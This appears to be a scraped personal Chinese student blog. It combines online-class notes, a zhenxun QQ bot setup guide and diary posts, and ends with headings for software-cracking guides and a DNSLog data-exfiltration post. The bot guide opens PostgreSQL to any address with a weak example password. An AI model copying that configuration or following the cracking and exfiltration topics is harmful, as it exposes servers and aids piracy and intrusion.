(1). 大肠杆菌属于(细胞/个体)层次 (2). 大肠杆菌菌落属于(种群)层次 (3). 培养基被污染后,除大肠杆菌外,又滋生了别的细菌和真菌,时属于(群落)层次 (4). 一个池塘中的全部鲤鱼属于(种群)层次 (5). 一个池塘中的全部生物属于(群落)层次 (6). 一个池塘中的所有生物及其周围无机环境属于(生态系统)层次
血液属于哪层生命系统?皮肤呢?

血液是结缔组织的一种。皮肤是人体最大的器官。
病毒是生物吗?属于哪层生命系统?

病毒是生物，但不属于生命系统。
如何培养新冠肺炎病毒?能不能直接用培养基培养?

病毒只能营寄生生活，只有在活的细胞内才具有生命现象。

培养病毒要在细胞中进行，不可用培养基。
为什么细胞是基本的生命系统?

审视各层次生命系统的关系，我们发现，无论从结构上还是功能上看，细胞这个生命系统都属于最基本的层次。各层次生命系统的形成、维持和运转都是以细胞为基础的，就连生态系统的能量流动和物质循环也不例外。因此，可以说细胞是基本的生命系统。

课堂小结

课后作业

理解记忆本节所学内容
完成课本p8的练习与应用
及Word版的同步练习

<h1 style="font-size:20px">【今日网课结束】</h1>

稍微解释一下为什么没有第二天的笔记第二天上网课的时候，家里停网了，而电脑是台式机且并不具备无线网卡所以第二天的网课全程是用手机听的，并没有写笔记但是第二天的笔记我会抽出放假的时间补上，敬请期待！

学习笔记丨网课第二天

Sun, 04 Sep 2022 00:00:00 GMT

稍微解释一下为什么没有第二天的笔记第二天上网课的时候，家里停网了，而电脑是台式机且并不具备无线网卡所以第二天的网课全程是用手机听的，并没有写笔记但是第二天的笔记我会抽出放假的时间补上，敬请期待！【暂空】

学习笔记丨网课第一天

Sat, 03 Sep 2022 00:00:00 GMT

开学第一课

语文

什么是语文
为什么学习语文
怎么学好高中语文

什么是语文

国语、国文叶圣陶改名为语文

语言和文字（说加写）

听说读写

为什么学习语文

了解生活常识，查阅资料

用处交谈、写信、打电话、日常交流
语文是基础学科中考成绩占比高占据高考成绩1/5
语文素养是学好其他学科的基础，增加理解能力

审题理解，公式理解
日常生活离不开语文，生活当中处处有语文

【孤勇者ing..........】

文化认同产生共鸣

【网课终止】

高中语文的差异以及内容

实际上的高中语文是这个样子的实际上的高中语文是这个样子的

1. 初高中语文的比较

2. 高中语文新特点：更有深度、更具难度、更有广度

3. 高中语文学什么

**四大文学体裁的优秀作品。**小说、散文、诗歌、戏剧等，古今中外的优秀作品,从中我们培养一定的审美情趣 ,提高鉴赏今中外的优秀作品，从中我们培养一定的审美情趣，提高鉴赏能力,掌握鉴赏方法,陶冶情操。能力，掌握鉴赏方法，陶冶情操.
应用文体、实用文体。
文言文、古诗词,传统文化中的精华。
**写作。**包括记叙文、议论文等.
整本书阅读，如《乡土中国》《红楼梦》等。

4. 内容广泛

从中国古典文学的角度看，将涵盖从《诗经》到明清的诗歌、散文、戏剧、小说等各种文学形式，而其中的作家作品、“文学文化常识、实词、虚词、句式、修辞、文章内容理解归纳文学鉴赏以及语言的运用等，都在学习范围之内;而外国文学则重点学习历史上著名作家、政治家的有较大影响的诗歌、小说、散文、演讲词等作品。从风格看，更是不拘一-格，例如:在二战后西方兴起的"后现代主义"小说也选入教材中。

5. 系统性强

初中语文学习的要求较注重学生感性的认识和积累，高中语文学习的要求已上升到能够对有关内容进行知识性、系统性的理解和领悟，将感性认识上升为理性认识，将文本中的问题通过知识体系解决。比如学习诗歌，初中要求是读读背背，形成语感，在教师的指导下能够初步理解诗意，而高中则要求能够对其进行分析，学会初步鉴赏和感悟。

怎么样学好高中语文

1. 树立目标

这里我们把语文学习的最高目标、毕生追求定为 “六一居士"：

一笔好字，
一口普通话，
一张铁嘴，
一肚子名篇佳作，
一手好文章，
一颗敏锐的心。

2. 培养兴趣

知之者不如好之者，好之者不如乐之者

——《论语》

3. 扩展阅读

操千曲而后晓声观千剑而后识器

——刘勰《文心雕龙知音》

整本书阅读必读书目: 必修上册:费孝通《乡土中国》必修下册:曹雪芹《红楼梦》

高中语文课程标准推荐阅读的经典书目

基本要求：

精读一-本，略读-一串,经常读书看报、浏览当天报纸和近期书刊的习惯。
“不动笔墨不读书”、提要勾画、摘抄、摘录、写读后感、知识卡片用适合自己的方式做读书笔记。
勤于使用各类具书、根据需要搜集有关资料。
勇于质疑问难、积极参与讨论和争辩、善于倾听别人发言、努力解决自己在学习中遇到的问题。

4. 重视积累

准备一个语文笔记本，养成积累的习惯（必备）

语文知识点
诗词名句
名人名言
美文佳句
灵思妙语

5. 多背多记

分层背诵化整为零地背诵先抓要点，然后连贯地背诵经常复习运用

6. 勤于练笔

语文这项学科的主要任务就是说和写，能流利地进行口语交谈，能文从字顺的写文章。看到桃吐新绿，你可以写，看到夏荷开放你可以写，看到秋菊傲霜你可以写，看到红梅映雪你同样可以写。一开始，可以一小段一小段地写，写多了，你的文章就会写长。也会写得有灵气，有风格，有自己独特的看法。

养成记日记的习惯，我手写我心。作文当堂完成，培养下笔千言的能力关注现实生活，家事国事天下事事事关心

7. 学会方法

必须认真的查缺补漏

成绩很好的同学，初中阶段是这样过来的。语文的基础知识依然有，在高中的学习过程中，还会有修辞和语法。这些占用我们的精力应该少一点，要高效的解决学习中的基础问题，像比喻和比拟的区别，标点符号的使用规则，学会用工具书自己解决问题。具备这些基本的能力，才能更好地查缺补漏。
阅读要有方法，有层次

高考改革的方向，阅读只能越来越难。材料增多，难度加深，这是不可避免的趋势。如何应对呢?要注意课内阅读和课外阅读相结合，阅读和精读相结合。树立并践行新的阅读观念。初中阶段大家有时候凭着兴趣读书，还有时候为了考试读书，都不是很难，考试的问题难度都不大，很容易解决，而到了高中阶段，却不太一样。必读书目中所选的名著，言浅而意深，比如《红楼梦》，大家都能看得懂，但理解的深度，却有云壤之别。

8. 注意书写

书写对考试成绩影响很大，不求绝对美观，但求工整

9. 上课须知

课前:准备好上课用品,提前预习本节课内容或者复习上节课内容; 课上:认真听讲,积极回答问题,不懂就问,做好笔记; 课后:独立且认真完成作业,书写要工整,卷面整洁。

10. 语文作业不多但是一定要保质保量完成

应付作业就是在应付自己,应付自己只能自讨苦吃

数学【初高中数学学习的差异及学习方法指导】

一. 初高中数学学习的差异

知识的差异
定量与变量的差异
思维习惯上的差异
学生自学能力的差异
学习方法的差异

知识的差异

定量与变量的差异

思维习惯上的差异

学生自学能力的差异

学习方法的差异

(1). 初中课堂教学量小、知识简单

(2). 模仿与创新的区别

二. 学好高中数学的几个要素

培养对数学学习的浓厚的兴趣
培养良好的数学学习习惯
研究数学学科特点,摸索适合自己的最佳学习方法
克服一些不良的学习状态

1. 培养对数学学习的兴趣

课前预习,产生好奇心,激发求知欲;
听课要积极配合老师,满足感官的兴奋性;
思考问题注意归纳,挖掘学习的潜力;
听课过程中注意老师讲解的数学思想方法,多问为什么这样思考?
这种方法来龙去脉是什么?
将抽象的数学知识还原到实际生活中去,使数学知识变得形象化。
化间接兴趣味直接兴趣

树立明确可行的目标,了解当前就业与升学的关系,感受老师上课时的幽默风趣,同学们之间学习数学的风气和相互促进。

2. 培养对数学学习的习惯

1. 制定计划

制定计划使学习目标明确,时间安排合理,计划要切实可行,执行过程中严格要求自己，磨练学习意志。

2. 课前自学

初步了解新课内容,加强听课的目标性
了解教材中的重点,难点所在,加强听课的针对性
培养自学能力
提高学习新课的兴趣,掌握学习的主动权

3. 上课

上课是理解和掌握基本知识,基本技能,基本思想和基本活动经验的关键环节

4. 及时复习

强化对基本概念知识体系的理解与记忆,将新旧知识联系起来进行比较,把复习成果整理在笔记上,使所学知识由懂到会。

5. 独立作业

通过自己的独立思考,灵活的分析问题,解决问题,进一步加深对所学知识的理解对新技能的堂握过程

6. 解决疑难

对独立完成作业过程中暴露出来的对知理解的错误,或由思维受阻遗漏解答,通过点拨使思路畅通,补遗解答的过程。

7. 系统小结

是通过积极思考,达到全面系统深刻的掌握所学知识,要在系统复习的基础_上,以教材为依据,参考笔记与资料,通过分析、综合、类比、概括、揭示知识之间的内在联系,构建知识框架,形成思维导图,以达到对所学知识融会贯通的目的。

8. 课外学习

主要是参加学校内或学校外组织的一-些学科培优活动,比如数学讲座或数学竞赛培训活动,以及与名校校友或老师交流学习心得。

3. 研究数学学科特点,摸索适合自己的最佳学习方法

核:立德树人,服务选材,引导教学
四基:基础知识,基本技能,基本思想,基本活动经验
四能:能发现和提出问题,能分析和解决问题的能力
六大核心素养:数学抽象,逻辑推理,数学建模,直观想象,数学运算,数据分析

数学学科具有高度的抽象性,逻辑性和广泛的应用性,对能力要求较高，数学学习讲究一个“活学活用”结合自身特点,摸索适合自己的最佳学习方法,先把书"读厚”,再把书“读薄”

4. 克服一些不良的学习状态

学习习惯因依赖心理而滞后

依赖心理表现在：

依赖老师面面俱到的讲解
依赖放学后家长的辅导讲解

高中,老师讲解以点带面,举一反三家长由直接参与学习与变为督促学习

思想松懈

初一、初二不用功,到初三临考前才发奋了一两个月就轻而易举的考上了高中,而且还是重点中学里的重点班,认为读高中也不过如此,高一,高二不那么用功,到高三才开始发奋样也会考上一所理想的大学。

学不得法

老师上课要讲清楚知识的发生,发展过程,来龙去脉,剖析概念的内涵，分析重点和难点,突出数学思想方法。部分同学没能专心听课,对要点没听或听不全,笔记记了一大本,问题也还是一大堆,课后不能及时巩固、总结,寻找知识的联系,知识赶作业,套题型,对概念、法则、公式、定理一知半解,机械模仿,死记硬背,还有的同学晚上加班，白天无精打采,或是上课不听，自己另行一套,结果事倍功半,收效甚微。

不重视基础

部分同学轻视基础知识、基本技能与基本方法的训练,经常是知道怎做就算了, 不去认真演算书写,对难题很感兴趣

初高中知识衔接不到位

与初中相比,高中数学在知识的深度、广度都是一次飞跃,这就要求必须掌握一些必备知识、技能、方法,为进一步学习做好准备,比如常见的因式分解的方法、三个二次的关系、二次函数值域的求法,二次方程根的分布,韦达定理,参变量的讨论,三角形相似,三角形的四心及其性质,圆幂定理等等,有些知识点初中老师不讲,但高中经常使用,如不采取补救措施,将必然跟不上高中学习的要求。

英语

What are the differences between junior high school and senior high school in English learning?
What is the most important thing in English learning?
What should you do during and after classes?

英语高考

高考题型

阅读理解
七选五
选择型完形填空
语法填空
写作
- 小作文（应用文）
- 大作文（读后去写）

高考分值

听力 1.5分 * 20=30分
阅读（50分）
1. 阅读理解 2.5分 * 15=37.5分
2. 七选五 2.5分 * 5=12.5分
完形填空 1分 * 15=15分
语法填空 1.5分 * 10=15分
写作
1. 应用文（15分）
2. 读后续写（25分）

初高中英语差异

词汇多
语法繁杂
写作要求高

词汇多

高考英语词汇量要求: 3500词(包含初中1500词)但实际上4000的词汇量甚至4500才可以自如地应对高考。 4%生词量

词根记词

一词多义

记单词

语法繁杂

写作要求高

解决方法！

观念转变（自主学习，勤于思考，多想多问）
单词是根，阅读是本
日积月累，培养语感
重视课堂，提高效率
善于利用各种资源

课程学习

课前预习(词汇，语篇)
课上专心听讲,主动思考
记笔记，记笔记，记笔记

准备工作

词典:牛津高阶,朗文
笔记本(推荐活页,便于增加):笔记+摘抄+范文
作业本( 四线三格学校发) :练字，默写，听写

课下工作

及时复习(不要相信瞬间记忆)
主动思考,勤做思维导图
适度刷题,主动积累
练字(推荐衡水体)

上午网课结束，下午继续

物理（前言）

【网课前部分为物理学的概念与发展，所以并没有记太多】

物理学的概念

物理学(Physics) 是研究物质结构及其相互作用和运动规律的一门自然科学。

物理学研究的特点

物理学通过定量的实验和严谨的逻辑分析，不断地揭示出自然界的客观规律和各种现象的内在联系。

初高中物理学对比

初高中物理考查的五种能力

物理（正片）

质点参考系

1. 物体和质点

—— 什么是机械运动

物体的空间位置随时间的变化,是自然界中最简单、最基本的运动形态,叫做机械运动。

——如何准确描述机械运动

【举车运动的例子....】

有些情况可以将物体看成一个点，这叫做质点

——什么物体可以看成质点

	乒乓球：

	当研究它的运动轨迹时，它可以看成一个质点

	当研究它的旋转时，它不可以看成一个质点

	地球：

	当研究地球公转时，它可以看成一个质点

	当研究地球自转时，它不可以看成一个质点

所以并不可以将小的物体一定看成质点将大的物体一定不看成质点

——例子

可以看成质点的情况：研究足球的运动轨迹

不可以看成质点的情况：研究足球旋转

—— 物体什么时候可以看成质点（结论）

结论:在某些情况下,确实可以忽略物体的大小和形状,把它简化为一个具有质量的点,这样的点叫作质点。

从前面的讨论可以看出，一个物体能否看成质点是由所要研究的问题决定的。同一个物体，由于所要研究的问题不同，有时可以看成质点，有时不能看成质点。

具体问题具体分析！！

理想化模型：-在物理学中,突出问题的主要因素,忽略次要因素建立理想化的物理模型, 并将其作为研究对象,是经常采用的一种科学研究方法。质点这一理想化模型就是这种方法的具体应用。

质点是理想化模型

2. 参考系

1.参考系

为描述一个物体的运动,首先要选定某个其他物体作为参考,这种用来作为参考的物体叫作参考系。

2.运动是相对的

运动是相对的，描述某个物体的位置随时间的变化，却又总是相对于其他物体而言的

在描述物体运动时，必须先选定一个参考系

选择不同参考系，物体的运动情况会不一样。

通常情况下，在讨论地面上物体的运动时，都以地面为参考系。

政治（前言）

高中政治香不香
观高中政治真颜
高中政治如何学

高中政治香不香

政治与我们的生活密切相关
考研、公务员必选学科
高考物理+化学+政治专业覆盖率更高
树立正确的人生观、价值观

观高中政治真颜

初高中政治的区别和联系

高中政治的课程结构

高中政治如何学

学习方法

学会理论联系实际

学会归纳总结，构建知识网络

政治（正文）

第一课：社会主义从空想到科学、从理论到实践发展

人类社会的起源——原始社会的产生

—— 这些原始部落是不是我们所说的原始社会

生产力

生产力，即人们利用和改造自然的能力

三要素：劳动者，劳动工具，劳动对象

劳动者在生产中起主要引导作用

劳动工具是生产水平的重要标志

劳动工具和劳动对象属于生产资料
生产关系
生产关系（构成要素）：
1. 生产资料归谁所有（所有制）
  
  起基础性作用，决定社会性质，决定其他两个要素
2. 人们在生产中的地位和互相关系
3. 产品的分配方式
生产力和生产关系（比喻）

(1). 你在三岁时买的新鞋，八岁穿还合适吗？

(2). 你是根据脚的大小决定买多大尺码的鞋？还是根据鞋子的尺码决定自己的脚长多大？

原始社会生产力和生产关系的特点

原始社会的解体

【敬请期待】

生物

第一部分学习生物学的意义

为什么学生物

高考的需要
生活的需要
时代的需要

第二部分怎么考？

(1)分值（高考采取3+3模式）

(2)难度

(3)考察方向

初中：事实性考察

高中：知其所以然，理解能力力，信息提取能力，逻辑推理能力，解决实际问题的能力

第三部分初高中知识联系

区别与联系

课程目标的区别与联系

在知识方面，初中以人与生态圈为主线

课程内容的区别与联系

中学生物学课程内容可以概括为十大方面。其中人体内食物的消化、营养物质的吸收、气体的交换、生物样性、生殖和发育等内容侧重在初中阶段完成，而像细胞、物质与能量、遗传与进化、生物与环境、生物技术等较为抽象的内容，则安排在初、高中两个学段完成。

可见生物学的核心内容在两个学段都有安排，但在内容层次上是递进的，如细胞这一内容，初中侧重于细胞的显微结构，而高中则侧重于细胞的亚显微结构和功能，细胞的各种生命活动。突出了活细胞的特性,加强了物质和能量代谢的内容。研究的内容由细胞深入到分子水平。再比如生态学内容，初中主要是个体生态的内容而高中则是在种群、群落、生态系统方面有更加深入的要求。这样初、高中生物教学内容, .既符合学生的认知规律，又减少了不必要的重复。

高中生物学什么

高中生物学习方法

1. 预习用好教材（重视课本，包括文字和图片，那些都是经典）

2. 认真听讲，独立完成作业（先理解，再记忆；学习重思考，联系重纠错）

3. 重视纠错，准备一个错题本

4.勤总结（用思维导图法）

5.有效做题，巩固所学知识

(1)不太明白的题通过查课本原理和与他人交流等弄清楚，不让小问题积累成大难题。

(2) 准备错题本，整理做错的题，温故而知新。

(3) 每上一节课，当晚利用10-20分钟，及时记忆；每学完一章，及时构建知识网络，把所学的知识“串”起来

高中生物学习方法指导树立四个观点

学习生物要有兴趣
要亲其师（亲其师信其道）
要走出两个误区：

误区1：完全希望于背诵

误区2：完全抛弃背诵
要正确把握好“高一”这个新起点

<h1 style="font-size:20px">【今日网课结束】</h1>

如何搭建一个属于自己的QQ机器人[真寻机器人]

Thu, 01 Sep 2022 00:00:00 GMT

如何搭建一个QQ机器人【真寻机器人】

<a id="go-cqhttp" style="color: black">安装go-cqhttp</a>

什么是go-cqhttp

go-cqhttp 是什么？使用OneBot协议实现的无头QQ，接受消息发往后端处理

你也可以理解为QQ客户端

如何安装go-cqhttp

从Mrs4s / go-cqhttp (opens new window)的Release中下载与你系统对应的最新版本

由于github属于半墙状态，所以下载会比较慢，您可以选择耐心等待，也可以安装fastgithub(opens new window)来提升你的下载速度
将你下载好的文件存放到任意一个文件夹

Windows：

直接双击文件运行

点击确定后，使用安全启动脚本启动即可

Linux：

下载您对应的压缩包后使用tar -zxvf 文件名称.tar.gz

解压完毕后请检查此目录下是否存在名为go-cqhttp的文件

若并没有此文件请再次尝试以上步骤，若有此文件，请使用./go-cqhttp命令启动
首次运行会让你选择通信方式，选择 3 (反向 Websocket 通信)，会生成一个配置文件config.yml
打开config.yml文件，将uin修改为bot账号
在config.yml文件中将 universal: ws://your_websocket_universal.server 修改为 universal: ws://127.0.0.1:8080/onebot/v11/ws/
重启go-cqhttp后登录即可
因真寻机器人项目使用了语音文件等，该音频需要依赖ffmpeg
```
Ubuntu：
    sudo apt install -y ffmpeg
```
没有 ws-reverse 怎么办？第二步的配置文件选错了，删除config.yml重新生成即可

<a id="Postgresql" style="color: black">安装Postgresql数据库</a>

Windows

在Postgresql下载页面 (opens new window)下载对应系统的Postgresql安装程序
选择安装路径，一路next，中途会让你设置以下postgres用户的密码
在安装目录下找到pgAdmin，使用pgAdmin连接数据库，创建连接，新建数据库即可

Linux (以Ubuntu为例)

安装Postgresql

 sudo apt update
 sudo apt install postgresql postgresql-contrib

创建数据库和用户

 sudo su - postgres  # 切换用户
 psql
       #  用户名↓                # 密码↓
 CREATE USER uname WITH PASSWORD 'zhenxun'; # 创建用户
         # 数据库名称↓       所有者↓
 CREATE DATABASE testdb OWNER uname;   # 创建数据库

到这一步数据库已经可以正常使用了！以下步骤主要用于外网可以连接入服务器数据库，可以等需要的时候再配置。

编辑数据库配置文件（路径请已自己的为准）
- 打开数据库配置文件
```
vim /etc/postgresql/12/main/postgresql.conf
```
- 找到 listen_addresses: '*' 取消前面的 # 注释，使用:wq保存退出
  
  建议公网ip同时修改 Port
- 打开 pg_hba.conf
```
  vim /etc/postgresql/12/main/pg_hba.conf
```
- 在最下添加或修改后，使用:wq保存退出
```
  # 允许任意用户从任意机器上以密码方式访问数据库
  host    all             all             0.0.0.0/0               md5
```
重启数据库
```
 sudo systemctl restart postgresql
```

<a id="zhenxun_bot" style="color: black">安装真寻bot</a>

版本警告

真寻Bot需要python环境为 python3.8 或 python3.8

开始部署

从 HibiKier / zhenxun_bot (opens new window)clone代码或直接下载压缩包 (opens new window)解压

安装依赖包

pip3 install poetry     # 使用poetry管理python包
poetry install          # 安装依赖

poetry shell            # 进入虚拟环境

## playwright 需要安装额外的系统环境，在命令行输入以下
playwright install chromium

# 该命令在win下无需输入
playwright install-deps chromium

设置超级用户，打开 .env.dev 文件，在SUPERUSERS中添加自己的QQ
```
SUPERUSERS=["123456789"]
```

打开 configs/config.py 填写数据库数据

# 数据库（必要）
# 如果填写了bind就不需要再填写后面的字段了#）
# 示例："bind": "postgresql://user:password@127.0.0.1:5432/database"
bind: str = ""  # 数据库连接链接
sql_name: str = "postgresql"
user: str = ""  # 数据用户名
password: str = ""  # 数据库密码
address: str = ""  # 数据库地址
port: str = ""  # 数据库端口
database: str = ""  # 数据库名称

############################################################
### 如果你是与教程一模一样的命令代码，且数据库也在该服务器上 ###
############################################################
# 可以直接复制以下配置
bind: str = ""  # 数据库连接链接
sql_name: str = "postgresql"
user: str = "uname"
password: str = "zhenxun"
address: str = "127.0.0.1"
port: str = "5432"
database: str = "testdb"

启动真寻，会在 configs 和 data/configs 目录下生成各种配置文件
```
python3 bot.py
# or
python bot.py
```
打开 configs/config.yaml，里面包含的是各种插件的配置项，填写完毕后重启真寻Bot

<a id="Linux下持久化运行" style="color: black">Linux下持久化运行</a>

恭喜！经历困难之后到了最后一步，那就是持久化运行 0v<

本节教程为Linux持久化运行教程，Windows可直接跳过

教程中使用的是较为简单的Screen，如果你有其他工具的使用经验，可以跳过本节。

即刻开始（以Ubuntu为例）

安装screen
```
sudo apt install screen
```
创建会话
```
screen -S zhenxun
```

进入真寻目录

cd 真寻的存放真寻机器人的目录

启动！

poetry shell    # 进入虚拟环境
python3 bot.py

如果退出或关闭后

使用以下命令恢复会话
screen -r zhenxun

<a id="安装使用WebUi" style="color: black">安装使用WebUi</a>

这一步并不是必须的！只是为了可视化方便管理，并且webUi也还未完善

因为真寻机器人的web项目直接使用vue run的，所以该教程也以vue run为主，其他方式如nginx可略过

别忘了打开服务器端口，默认是8081，修改端口在vue.config.js文件中！

开始安装

安装nodejs

略（百度很多教程，演示的环境是Nodejs14）

安装yarn

npm install -g yarn

安装vue-cli

yarn global add @vue/cli

获取项目

点击 WebUi (opens new window)下载项目压缩包 or

git clone https://github.com/HibiKier/zhenxun_bot_webui.git

如果比较慢的话可以尝试以下代码

git clone https://gitclone.com/github.com/HibiKier/zhenxun_bot_webui.git

安装依赖

yarn

开始运行

yarn run serve

配置账号密码

在您的真寻bot存放目录/configs/config.yaml文件中配置项设置账号密码

web-ui:
  # web-ui
  # USERNAME: 前端管理用户名
  # PASSWORD: 前端管理密码
  USERNAME: admin
  PASSWORD:

必须要设置账号密码，否则无法登陆！

本文章是对原项目文档的补充和说明，有很多部分是转载的原文档，并非纯原创

原文档地址：https://hibikier.github.io/zhenxun_bot/docs/installation_doc/

日记|祝包蛋生日快乐！

Sat, 09 Jul 2022 17:59:14 GMT

更新

创建博客这么长时间了，但是文章数却一直停留在个位数，并且博客的评论与留言系统仍然未解决，我在这里表示歉意。

我没更新文章的最主要原因就是感觉并没有话题，所以我打算开设一个日记专题时不时更新一些在我生活中平淡又非常有意义的事。

近况

说一说近况吧，自打考试结束之后我心中的石头就落了地，虽然我的初中生活结束了，但是为了让以后高中生活轻松一些，考完试我就接着上了新高一的补习班，直到我现在些文章才刚刚结束。

上课的时间为早上的8:30-11:50，所以说一整个下午的时间都可以任我支配。虽说有了这么多的时间，但我却一分都不想给学习，考完试的这几天简直就像是失去了学习能力一般。不过我却觉得是一件正常的事情，考试前一两个月每天基本上都是第二天睡也就是每天过了十二点之后，每天都这样，只有周天才能去安稳的睡上一觉。

突然不学习了之后，莫名感觉好像真的没有事情可做了，我并没有什么电子设备之类的，最多也就只有一本电纸书和一台电视，能做的事情好像除了看书和看电视好像就没什么了。~~所以学习使我快乐~~

生日

生日是生日，但是不是我过生日，而是陪了我一个多学期的好同桌——包蛋当然并不是真实姓名，不过很多时候都这么喊他，他吧，虽说平时不怎么说话，不知道的话还真的以为他社恐，眼睛不大，但是也能看出他的真诚，学习很好，最好的科目是历史，本次中考［2022］取得了516的高分[^1],出于对个人隐私的保护，这里不太多的介绍了。

昨天晚上，我兴致一来，去球场找之前的同学打篮球。在回家的路上我收到了包蛋的邀请。我感到很荣幸而且有种莫名的激动，这是我第一次收到邀请。

今天下午一点半左右，我们已经吃完了饭，八个菜，六个人，总共花了188元（AA制）。吃完饭之后，我与其中一个同学赶到补习班，这次并不是去上课，而是去看电影，只是我来的时候过于匆忙，导致我并没有戴眼镜[^2]，所以电影基本上并没有看进去（悲）。

好吧，这就是我的一天，枯燥中带着几分有趣。最后，祝包蛋生日快乐！！ <img alt="happy birthday!" src="https://pic.imgdb.cn/item/62ee690916f2c2beb12c448b.png" />

结语

今日复今日，今日何其少。

时光很短暂，所以我会珍惜与任何人的相遇。这是我第一次陪别人过生日，不过我认为这样的机会还有很多，这只是第一次，而不是最后一次，不过不管哪一次，都属于我珍贵的回忆。

文章写完了，感觉写了很多，但仔细一看确实好像写的确实不多总觉得缺点什么，不过确实是我的一天，很无聊，却又很有趣，就算加再多的修饰，今天就是今天，这就是我真实的生活。

本文写作日期 2022年7月9日

[^1]: 这里指山东济宁地区的中考，满分为610分，语数英三门满分100分，物理和政治满分60分，化学和历史满分50分，操作实验满分10分，信息技术满分20分，体育满分60分，2022年受疫情原因未进行操作实验，信息技术与体育考试，所有考生文化课成绩加90分计入总分。［2022年泗水普高分数线泗水一中439 泗水二中399 泗水实验中学373］ [^2]: 本人目前左眼75度，右眼125度。

个人博客正式建立

Tue, 21 Jun 2022 00:00:00 GMT

<h3>个人博客正式建立</h3>

chuzouX个人博客正式建立，此博客采用hexo框架＋butterfly主题制作，这个其实是我改的别人的源码（友链里有）。我将会在这里进行持续的更新（虽然文笔不好），不仅可以发表自己的意见或看法，还可以提升我的语文写作水平（确信）。当然并不会将所有的事情都写下来，日常的小事就会放在说说里，感谢大家的支持！！！

<h3>我为什么会建一个博客？</h3>

其实博客这种东西，在我很早之前就想做了，但是由于学习与生活的关系导致博客的建设拖到了现在。对于这个问题吧，我认为博客可以分享自己的任何东西，无论是生活中的点点滴滴也好，等到自己长大之后，再去翻看那些东西，就会有满满的成就感与回忆。

<h3>建设博客的成本</h3>

我建博客其实并没有去花很多的钱（毕竟是学生），阿里云九元捡来的.top域名，加上IURT组织（官网<a herf="iurt.net">iurt.net</a>）的服务器，实际上也就花费了九元，所以说iurtNB！

<h3>建设博客中遇到的困难</h3>

首先，并不是技术上的限制，建设博客的这几天内我只有一本电纸书（小米多看电纸书）。对，你没看错，就只是一本电纸书，不过它的系统为安卓，使用adb来安装个桌面就可以将它变得跟手机一样，虽这么说，但是电纸书的水墨屏只有黑白，而且屏幕的刷新率的话真的很让人崩溃，没办法，他本来就并不是这个用处。

在技术上吧，我并不知道hexo的工作原理，只是傻瓜式的比着教程做，又是创建git仓库，又是连接gitSSH的。最要命的是，服务器的SSH并不是默认值，所以gitSSH也连不上，然后我耗费很多时间去找怎么修改，最后也没修改成功。不过在INFO(iurt团队群成员)的提示下，我将ssh命令的后面加上了-p端口参数，最后解决了gitSSH的链接问题。

到了部署，也就是hexo d，部署的话需要连接gitSSH，但这和上次的不同，上次只是用命令，而这次是需要改配置文件，我试了多种方法也没能将端口改掉，后来有翻了翻hexo官方文档，是没有port参数。正当我发愁的时候，我又去翻了gitSSH的文档，找到了一种可以修改端口的写法，最后也是能连接到服务器，不过执行命令还是在报错，我就四处去问报错的原因。

最后我找的了INFO（同上），INFO将网站目录改为hexo目录下的public文件夹就可以了，每次更新只需要在hexo目录下执行hexo g（生成静态文件）就可以了，也就是说我根本就不需要部署，我从创建git的时候我就已经错了。

网站目前部分功能尚未完善，但网站基本完工，我也会学着去写一些hexo的文章，熟悉熟悉格式，感谢大家的支持，我们下篇文章见！

chuzouX Blog

自用软件合集！

自用软件/站点合集！（持续更新）

免责声明

软件/站点目录

Typora

介绍

下载

白嫖教程

（一）、下载并安装*

（二）、修改文件*

（三）、更改注册表

（四）、关闭软件每次启动时的已激活弹窗

（五）、去除软件左下角未激活提示

IDM

介绍

下载

白嫖教程

（一）、下载并安装*

（二）、下载破解脚本*

（三）、使用破解补丁*

（四）、检查IDM是否已被激活

Adobe

前言

GenP教程

适用设备

兼容性列表

第一步：下载Adobe Creative Cloud

第二步：下载GenP最新版本

第三步：破解Adobe Creative Cloud

第四步：下载对应版本软件

第五步：使用GenP解锁软件

阻止不必要的 Adob​​e 后台进程 (PS/DC)

相关链接

温馨提示

个人博客重建秽土转生！！

个人博客重建复活

关于博客

一些问题与回答

结语

[反序列化靶场]PHPSerialize-lab系列 全流程WriteUp

[反序列化靶场]PHPSerialize-lab系列 全流程WriteUp

前言

题目列表

[反序列化靶场]Level1-类的实例化

[反序列化靶场]Level2-值的传递

[反序列化靶场]Level3-值的权限

[反序列化靶场]Level4-初体验

[反序列化靶场]Level5-普通值规则

[反序列化靶场]Level6-权限修饰规则

[反序列化靶场]Level7-实例化和反序列化

[反序列化靶场]Level8-GC机制

[反序列化靶场]Level9-构造函数的后门

[反序列化靶场]Level10-__wakeup()

[反序列化靶场]Level11-CVE-2016-7124

[反序列化靶场]Level12-__sleep()

[反序列化靶场]Level13-__toString()

[反序列化靶场]Level14-__invoke()

DNSLog在命令执行无回显下 实现数据外带

关于通过使用DNSLog在命令执行无回显下实现数据外带

前言

常用场景

推荐平台

Linux中的利用方式

反引号 + ping

$() + ping

curl

whois

Windows中的利用方式

ping+系统变量

常见系统变量列表

Adobe克星 完美的genp让adobe原地升天 可以在Adobe Creative Cloud更新！！

Adobe全家桶 Adobe在天上失禁地看着GenP 可以直接从Adobe Creative Cloud更新！！

前言

GenP教程

适用设备

兼容性列表

第一步：下载Adobe Creative Cloud

第二步：下载GenP最新版本

第三步：破解Adobe Creative Cloud

阻止不必要的 Adobe 后台进程 (PS/DC)

[反序列化靶场]PHPSerialize-lab系列全流程WriteUp

[反序列化靶场]PHPSerialize-lab系列全流程WriteUp

DNSLog在命令执行无回显下实现数据外带

Adobe克星完美的genp让adobe原地升天可以在Adobe Creative Cloud更新！！

阻止不必要的 Adobe 后台进程 (PS/DC)

第三步：审计代码找到密钥字符串(Key)

第四步：分析执行代码内容找到木马文件